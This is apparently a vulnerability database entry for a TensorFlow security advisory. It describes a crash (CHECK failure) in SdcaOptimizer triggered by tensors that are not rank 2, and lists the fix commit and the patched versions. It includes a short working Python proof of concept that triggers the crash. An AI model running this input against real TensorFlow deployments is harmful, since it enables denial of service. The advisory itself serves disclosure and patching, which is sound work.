VDB
KO
MEDIUM 4.8

GHSA-27rc-728f-x5w2

`CHECK` fail via inputs in `SdcaOptimizer`

Details

### Impact Inputs `dense_features` or `example_state_data` not of rank 2 will trigger a `CHECK` fail in [`SdcaOptimizer`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc).

```python import tensorflow as tf

tf.raw_ops.SdcaOptimizer( sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), loss_type="squared_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False,) ```

### Patches We have patched the issue in GitHub commit [80ff197d03db2a70c6a111f97dcdacad1b0babfa](https://github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa).

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution This vulnerability has been reported by Zizhuang Deng of IIE, UCAS

Are you affected?

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Affected packages

PyPI / tensorflow
Introduced in: 0 Fixed in: 2.8.4
Fix pip install --upgrade 'tensorflow>=2.8.4'
PyPI / tensorflow
Introduced in: 2.9.0 Fixed in: 2.9.3
Fix pip install --upgrade 'tensorflow>=2.9.3'
PyPI / tensorflow
Introduced in: 2.10.0 Fixed in: 2.10.1
Fix pip install --upgrade 'tensorflow>=2.10.1'
PyPI / tensorflow-cpu
Introduced in: 0 Fixed in: 2.8.4
Fix pip install --upgrade 'tensorflow-cpu>=2.8.4'
PyPI / tensorflow-gpu
Introduced in: 0 Fixed in: 2.8.4
Fix pip install --upgrade 'tensorflow-gpu>=2.8.4'
PyPI / tensorflow-cpu
Introduced in: 2.9.0 Fixed in: 2.9.3
Fix pip install --upgrade 'tensorflow-cpu>=2.9.3'
PyPI / tensorflow-gpu
Introduced in: 2.9.0 Fixed in: 2.9.3
Fix pip install --upgrade 'tensorflow-gpu>=2.9.3'
PyPI / tensorflow-cpu
Introduced in: 2.10.0 Fixed in: 2.10.1
Fix pip install --upgrade 'tensorflow-cpu>=2.10.1'
PyPI / tensorflow-gpu
Introduced in: 2.10.0 Fixed in: 2.10.1
Fix pip install --upgrade 'tensorflow-gpu>=2.10.1'

References